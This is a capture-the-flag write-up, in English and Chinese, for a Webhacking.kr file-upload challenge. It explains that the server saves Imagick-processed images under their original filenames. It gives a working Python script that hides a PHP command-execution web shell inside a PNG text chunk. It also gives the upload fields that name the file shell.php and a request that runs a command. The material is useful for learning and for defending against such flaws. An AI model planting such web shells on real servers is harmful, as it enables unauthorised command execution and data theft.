Webhacking.kr old-43 RevengE

Challenge

Upload a file accepted by Imagick while preserving a PHP-capable filename.

上传一个能被 Imagick 接受、同时保留 PHP 文件名的文件。

1
http://webhacking.kr:10018/

Analysis

服务端检查上传文件的 MIME type,拒绝 text/* 和 application/octet-stream,随后用 Imagick 读取、缩放并以原文件名写入 upload/:

1
2
3
4
$image = new Imagick();
$image->readImage($_FILES['file']['tmp_name']);
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
$image->writeImage('./upload/' . $_FILES['file']['name']);

文件名没有限制 .php 后缀。一个有效 PNG 可以在 tEXt chunk 中携带 PHP 代码;若 Imagick 在目标部署中保留该 metadata,上传结果就会以 .php 文件名保存,并由 PHP 解释器处理。

Solution

PHP 代码放入 Comment 文本块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pathlib import Path
import struct
import zlib

PHP = b'<?php system($_GET["cmd"]); ?>'

def chunk(kind, data):
body = kind + data
return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)

def make_png(path):
signature = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
scanline = b"\x00\xff\xff\xff"
text = b"Comment\x00" + PHP
png = b"".join(
(
signature,
chunk(b"IHDR", ihdr),
chunk(b"tEXt", text),
chunk(b"IDAT", zlib.compress(scanline)),
chunk(b"IEND", b""),
)
)
Path(path).write_bytes(png)

if __name__ == "__main__":
make_png("shell.png")

上传生成的 shell.png 时,multipart 字段如下:

1
2
3
name=file
filename=shell.php
Content-Type: image/png

上传后访问:

1
/upload/shell.php?cmd=cat%20%2Fflag

metadata 是否在缩放和写入后保留,取决于目标 Imagick 版本与部署配置。